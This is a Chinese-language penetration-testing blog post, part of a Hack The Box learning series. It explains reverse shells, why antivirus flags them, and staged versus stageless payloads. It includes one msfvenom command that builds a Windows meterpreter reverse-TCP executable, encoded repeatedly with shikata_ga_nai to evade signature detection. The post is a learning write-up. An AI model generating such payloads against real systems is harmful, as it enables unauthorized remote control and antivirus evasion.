iT邦幫忙

2024 iThome 鐵人賽

DAY 8
0
Security

前端小廢物誤入 Hackthebox Module系列 第 8

Reverse Shell 與 payload

  • 分享至 

  • xImage
  •  

為什麼 Reverse Shell 會觸發防毒軟體?

當我們在滲透測試中使用「反向 Shell(Reverse Shell)」時,我們讓目標系統主動連接到我們的攻擊機器。

在連接成功後,我們就可以通過這條連接「遠程控制目標系統」,執行各種操作,比如輸入命令、查看文件等。

還記得我們在上一篇有講到 Reverse Shell 的流程嗎?

/images/emoticon/emoticon06.gif

Reverse Shell 如何工作?

過程是這樣的~

  • 攻擊者設置好一個「監聽器」(Listener),等待目標系統的連接。

  • Payload 被觸發時,目標系統會發起連接,並打開一個命令行會話給攻擊者。

  • 攻擊者可以藉此來控制目標系統,來執行攻擊。

為什麼這會觸發防毒軟體?

Reverse Shell 的行為經常會被防毒軟體或防火牆攔截,可能的原因如下:

異常的外向連接

通常情況下,目標系統的網絡連接是由內部發起請求到外部服務器(比如訪問網頁),但 Reverse Shell 是從內部系統主動連接到攻擊者的機器,這種異常的網絡行為會被防毒軟體和防火牆標記為可疑。

使用不常見的端口

Reverse Shell 通常使用的端口(如 TCP 4444)若為非常用端口,這也會引起防毒軟體的警覺,從而阻止連接。

當然,除此之外,防毒軟體會根據「已知的惡意行為模式來偵測威脅」,而 Reverse Shell 的行為類似於許多已知的攻擊手法,因此很容易被標記為惡意行為。

Reverse Shell 與 Payload 的關係

Payload 是滲透測試中的一個核心概念!

當你找到一個漏洞時,「Payload 就是你用來利用這個漏洞來達成目標的代碼或指令」。

在使用 Reverse Shell 時,Payload 是負責在目標系統上打開 Shell 會話並回傳控制權到攻擊者的工具。

Reverse Shell Payload 如何運作?

當攻擊者利用漏洞時,Payload 會被注入並執行。

Reverse Shell Payload 的目的是讓目標系統與攻擊者的機器建立連接,這樣攻擊者可以遠程控制系統。

聽起來是不是有點像是我們之前在目標主機上面執行的指令啊 XD

Payload 中,通常會裝著我們想要目標主機幹嘛的指令 ~

/images/emoticon/emoticon01.gif

若裡面的內容被防毒軟體看到他的惡意行為... 當然會被擋下來啊XD 當防毒軟體瞎子喔 ><


筆者 say say 念:

Payload 的行為往往涉及到修改系統文件、建立網絡連接、啟動 Shell 會話等,這些行為在防毒軟體看來就是惡意的。

因此,Payload 很容易被防毒軟體攔截和阻止。


如何繞過呢?

還記得我們之前有提過如何繞過嗎?

其中一個支線就是「加密和混淆」XD

在滲透測試中,有一個好棒棒工具叫做「MSFvenom」~

MSFvenomMetasploit 框架中的一個強大工具,用於生成各種 Payload ~

附上 MetasploitLogo ~

https://ithelp.ithome.com.tw/upload/images/20240922/20107197sc06zQLRjo.png

使用它,我們可以對 Payload 進行加密或編碼!

MSFvenom 拿來幹嘛?

它可以有效地避免防毒軟體基於特徵碼(signature-based detection)的檢測,並且可以讓你的 Payload 在防毒軟體掃描時更難被識別。

稍微給大家看一下 MSFvenom 指令的範例,筆者會在之後的文章給大家做解釋:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -e x86/shikata_ga_nai -i 3 -f exe > payload.exe

細心的讀者應該有看到 x86/shikata_ga_nai 吧~

它其實就是「編碼器」,用來對 Payload 進行多次編碼,讓它更難被檢測!


筆者 say say 念:

如果有興趣,讀者可以參考一下 Metasploit 的官網聞香一下 XD

筆者會在之後的文章提供給讀者一些使用的參考~

https://www.metasploit.com/


Payload 的種類

Payload 大致可以分成兩種類型:Staged PayloadStageless Payload

Staged Payload(分段式)

  • 特點
    Payload 被分成幾個階段來傳送。首先傳送一個小的初始階段(stage),該階段會在目標系統上建立連接,然後再下載完整的 Payload 來執行。

  • 優點
    由於初期傳輸的數據量較小,它可以幫助繞過一些網絡防禦機制(如防火牆)。

  • 缺點
    多階段傳輸可能會因網絡延遲或不穩定而導致攻擊失敗。

Stageless Payload(無段式)

  • 特點
    一次性將完整的 Payload 傳送到目標系統,而不需要分階段傳輸。

  • 優點
    適合網絡帶寬有限或高延遲環境,因為它只需要一次傳輸。

  • 缺點
    一次性傳送大量數據可能更容易觸發防火牆或防毒軟體的警告。

在之後的教學中,筆者也會帶大家使用 Msfvenom 搞一個 Stageless Payload XD

今日心得

今天一整天都泡在解不出 hackthebox 的漩渦之中XDDD

雖然最後還是卡住了,但秉持 Try harder 的精神,我是不會放棄的!

除此之外,還要還之前書的債XDD真的是太狠啦!

不過也因為這樣進步超級多(笑鼠)

很感謝依然持續進步的自己!很充實

/images/emoticon/emoticon01.gif

參考資源

https://academy.hackthebox.com/


上一篇
Reverse Shell - 反向 Shell
下一篇
Metasploit - 滲透測試框架: 偵測規避好幫手
系列文
前端小廢物誤入 Hackthebox Module31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言